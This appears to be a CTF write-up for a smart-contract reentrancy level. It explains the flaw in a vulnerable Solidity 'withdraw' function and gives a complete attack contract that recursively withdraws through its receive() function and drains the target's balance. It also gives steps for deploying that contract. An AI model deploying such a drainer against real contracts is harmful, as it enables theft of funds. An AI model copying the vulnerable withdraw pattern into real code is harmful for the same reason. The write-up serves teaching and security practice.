This level is about the most famous Smart Contract Vulnerability and it’s quite a simple but highly impactful logic flaw. Lets first look at the definition of Re-entracy.
A reentrancy attack occurs when a function makes an external call to another untrusted contract. Then the untrusted contract makes a recursive call back to the original function in an attempt to drain funds.
When the contract fails to update its state before sending funds, the attacker can continuously call the withdraw function to drain the contract’s funds.
Although this definition talks in terms of fund transfer think of Re-entracy as a While loop that we use in programming. In a While loop, the looping process doesn’t end until a certain condition is met, so the set instructions inside the loop just keep running again and again. Something similar is happening in this level too. Let’s start by understanding the contract first.
The contract starts off with importing SafeMath library and using it on uint256 to avoid Integer Arithmetic Error vulnerability. Well that’s cool but the contract is still vulnerable though. The next is a public variable “balances” which is a mapping of address as its key and uint as its value.
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
The very first function is “donate” through which someone can donate some funds to the contract.
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
The next is “balanceOf” function which just returns the balance of someone with respect to its address.
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
Then comes the very important looking function “withdraw” which first checks that whether the balance of contract that is being attempted to withdraw is greater or equal to the requested amount. It then proceeds to send that amount to the requester and finally it attempts to change the state of contract by deducting the withdrawn amount from the balance of contract.
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
Also there is an externally payable receive() function making a cameo appearance. (Just kidding!)
receive() external payable {}
Now that we understand the contract, we gotta break it from somewhere. And for that the level provides a bunch of hints in which this one is important.
Sometimes the best way to attack a contract is with another contract.
So we gotta find some clue where we can utilize another contract. And our clue is in the “withdraw” function. As this function attempts to send withdrawn amount to the requesting contract, we can use that contract’s payable function to our advantage.
We can call in the “withdraw” function of our given contract in our own contract’s payable function. And by that the “withdraw” function calls the payable function our contract which again calls the “withdraw” function in given contract so the contract is stuck in the loop of withdrawing balances until all is drained out. When the contract will run out of balances, that’s when the condition of this function breaks and then it finally attempts to change the state of contract by deducting the requested amount from balances which has now dropped to 0.
With that in mind, let’s create a contract like the following,
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface PillarsOfTheHack {
function donate(address) external payable;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
}
contract TheReentranceHack {
PillarsOfTheHack private immutable reentrancy;
constructor(address _reentrancy) {
reentrancy = PillarsOfTheHack(_reentrancy);
}
function thehackitself() public payable {
reentrancy.donate{value: msg.value}(address(this));
reentrancy.withdraw(msg.value);
require(address(reentrancy).balance == 0, "FAILED!!!");
selfdestruct(payable(msg.sender));
}
receive() external payable {
uint256 balance = reentrancy.balanceOf(address(this));
uint256 withdrawableAmount = balance < 0.001 ether
? balance
: 0.001 ether;
if (withdrawableAmount > 0) {
reentrancy.withdraw(withdrawableAmount);
}
}
}
With this contract in place, use the instance address of the given contract while deploying it like the following,
Now just add the instance address of given contract in At Address bar and set the Gwei value to 1000000 (which is equal to 0.001 ether) and run “thehackitself” function.
Finally, ensure that your hack worked right by checking it from the console of the level.
And we managed to drain all the balance from the contract by donating 0.001 ether first, pushing the total balance to 0.002 ether. Then we withdraw the balance to 0 by making two iterations of 0.001 ether which is allowing us to reenter the contract and trigger the same function with total drain.
Now just Submit Instance and voila!!
Top comments (0)